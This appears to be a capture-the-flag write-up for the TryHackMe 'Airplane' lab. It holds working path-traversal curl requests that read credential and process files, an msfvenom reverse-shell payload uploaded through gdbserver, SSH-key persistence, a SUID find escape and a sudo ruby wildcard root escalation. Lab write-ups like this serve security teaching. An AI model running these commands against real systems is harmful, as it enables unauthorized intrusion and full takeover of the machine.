Airplane | TryHackMe
About Airplane
Information Gathering
Scanned all TCP ports:
rustscan -a 10.10.121.174
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
Open 10.10.121.174:22
Open 10.10.121.174:6048
Open 10.10.121.174:8000
Enumerated open TCP ports:
nmap -p22,8000,6048 -sC -sV --min-rate=10000 10.10.121.174 -oA nmap/services
# Nmap 7.80 scan initiated Mon Jul 29 17:10:23 2024 as: nmap -p22,8000,6048 -sC -sV -vv --min-rate 10000 -oA nmap/services 10.10.121.174
Nmap scan report for airplane.thm (10.10.121.174)
Host is up, received conn-refused (0.46s latency).
Scanned at 2024-07-29 17:10:23 IST for 195s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
6048/tcp open x11? syn-ack
8000/tcp open http-alt syn-ack Werkzeug/3.0.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/3.0.2 Python/3.8.10
| Date: Mon, 29 Jul 2024 11:40:38 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/3.0.2 Python/3.8.10
| Date: Mon, 29 Jul 2024 11:40:32 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 269
| Location: http://airplane.thm:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
| http-title: About Airplanes
|_Requested resource was http://airplane.thm:8000/?page=index.html
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=7/29%Time=66A77FB0%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1F3,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/3\.0\.2\
SF:x20Python/3\.8\.10\r\nDate:\x20Mon,\x2029\x20Jul\x202024\x2011:40:32\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x20269\r\nLocation:\x20http://airplane\.thm:8000/\?page=index\.html\r\
SF:nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<ti
SF:tle>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20sh
SF:ould\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20URL
SF::\x20<a\x20href=\"http://airplane\.thm:8000/\?page=index\.html\">http:/
SF:/airplane\.thm:8000/\?page=index\.html</a>\.\x20If\x20not,\x20click\x20
SF:the\x20link\.\n")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x20F
SF:OUND\r\nServer:\x20Werkzeug/3\.0\.2\x20Python/3\.8\.10\r\nDate:\x20Mon,
SF:\x2029\x20Jul\x202024\x2011:40:38\x20GMT\r\nContent-Type:\x20text/html;
SF:\x20charset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r\n
SF:\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</
SF:title>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not
SF:\x20found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20UR
SF:L\x20manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x20a
SF:gain\.</p>\n")%r(Socks5,213,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//D
SF:TD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www
SF:\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20con
SF:tent=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<tit
SF:le>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20
SF:<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('\\x05
SF:\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'\)\.</p>\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_RE
SF:QUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.
SF:</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 29 17:13:38 2024 -- 1 IP address (1 host up) scanned in 195.14 seconds
Enumeration
Port 8000 - HTTP (Flask 3.0.2)
Going to port 8000 redirect us to airplane.thm:8000/?page=index.html
Let’s add airplane.thm
to /etd/hosts
:
echo -e '10.10.121.174\tairplane.thm' | sudo tee -a /etc/hosts
Exploitation
Path traversal
After seeing the page
parameter I first tried path traversal.
It worked. I am using httpie btw.
Since the website is running on flask I tried if we can access /console
. Often if we have
access to the debug console we can use path traversal to get some system information for
generating the console pin and getting a remote shell.
You can check this article to find more about this attack.
But as you can see the debug mode is not enabled.
Next I tried to retrieve ssh keys if there’s any. From the /etc/passwd
file we can see that there are 3 users: root
, carlos
, and hudson
It does not exists or the current user can’t access it maybe because we are www-data
or something. In linux if we have a path traversal we can use some files in the /proc
directory to retrieve valuable informations about the machine.
Check this article for more info about this attack vector. Here are some of the locations that you can check:
/proc/version - Kernel version
/proc/self/environ - Environment variables of the current process
/proc/self/cmdline - Process invocation command with parameters
/proc/self/cwd/ - Points to the current working directory
/proc/sched_debug - Scheduling information and running processes per CPU
Unfortunately http
does not output binary data. Note that the content of the /proc/self/environ
is marked as binary data because it is using null bytes as a seperator instead
of using new line (\n
) or space.
So back to curl
again…
To fix the output we can easily pipe that into sed and replace the null bytes to new line characters to get a clean output.
curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/self/environ' --silent --output - | sed -e 's/\x0/\n/g'
# When dealing with stdin we use -e or --expression instead of -i
# The format is like `s/find/replace/g`
# s -> search
# \x0 -> null byte
# \n -> new line
# g -> means global, all occurances will be replaced
We can see that the current user is hudson
. We already checked the ssh key in the home directory of hudson.
And now we can confirm that it does not exist.
curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/self/cmdline' --silent --output - | sed -e 's/\x0/\n/g'
/usr/bin/python3
app.py
I tried to read the content of the app.py
file
curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/self/cwd/app.py' --silent --output - | sed -e 's/\x0/\n/g'
from flask import Flask, send_file, redirect, render_template, request
import os.path
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/' + request.args.get('page')
if os.path.isfile(page):
resp = send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "Page not found"
else:
return redirect('http://airplane.thm:8000/?page=index.html', code=302)
@app.route('/airplane')
def airplane():
return render_template('airplane.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Nothing interesting in there either.
Then I tried to look into the /proc/sched_debug
to get information about the running processes.
curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/sched_debug' --silent --output - | sed -e 's/\x0/\n/g'
It generates a long output of all the running processes. After skimming through it I found some python processes:
We can check what the command is by using the pid of the process:
curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/$PID/cmdline' --silent --output - | sed -e 's/\x0/\n/g'
Nothing important there, its our flask app
I also saw a gdbserver
instance in there.
curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/527/cmdline' --silent --output - | sed -e 's/\x0/\n/g'
/usr/bin/gdbserver
0.0.0.0:6048
airplane
The gdbserver
is running on port 6048. I tried some searching and found out that if remote debugging is enabled in gdb, we can upload a reverse shell and execute it.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver
# Generate the payload using msfvenom
msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=1234 PrependFork=true -f elf -o binary.elf
chmod +x ./binary.elf
# open gdb
gdb ./binary.elf
target extended-remote 10.10.121.174:6048
remote put binary.elf /dev/shm/binary.elf
set remote exec-file /dev/shm/binary.elf
run
NOTE: If you are using
peda
,gef
or any other gdb enhancement tools, start gdb using the -nx flag otherwise it cause some error when using remote debugging:gdb -nx ./binary.elf
Got shell.
Check out rlwrap It can be used with commands like
nc
to be able to use the arrow keys for editing and accessing the command history etc. in a limited shell environment.
I added an ssh key to hudson’s home directory anyway…
ssh-keygen -t ed25519 -N '' -f ./ctf
This command will generate 2 files - ctf
and ctf.pub
.
ctf
is the private key that we use to log in and ctf.pub
contains the public key that we copy to the machine.
Copy the content of the ctf.pub
file to /home/hudson/.ssh/authoried_keys
echo 'ssh-...' > /home/hudson/.ssh/authorized_keys
Now we can login as hudson through ssh
chmod 600 ctf
ssh hudson@airplane.thm -i ctf
Lateral Movement to carlos
Local Enumeration
Finding SUID binaries
find / -type f -perm -u=s -exec ls -alp {} \; 2>/dev/null
SUID: Set User ID is a type of permission that allows users to execute a file with the permissions of a specified user. Those files which have suid permissions run with higher privileges. To learn more about Privilege Escalation using SUID binaries checkout this article
Lateral Movement
We can use the -exec
argument in the find
command to execute commands as user carlos.
So to gain shell access as carlos we just need to run:
find -exec bash -ip \;
I put the ssh key into carlos as well. SSH is better.
Privilege Escalation
It means that we can run ruby scripts using /usr/bin/ruby
with sudo without using password. But it also ensures that we can only run
scripts located inside the /root/
directory. And to check whether the givin script is present in the /root
directory they uses *
character.
We can bypass this check easily because we can replace the *
with any character we want, and we can exploit it similiarly to a path traversal attack.
For that we create a ruby script in /tmp
or any other directory and when running it we use relative path to that of the /root
directory.
For example /tmp/shell.rb
becomes /root/../tmp/shell.rb
. Note that this matches the /root/*.rb
check in the sudoers file.
echo 'system("/bin/bash -ip");' > /tmp/shell.rb
sudo /usr/bin/ruby /root/../tmp/shell.rb
If you want to learn more about this type of attacks, check out this article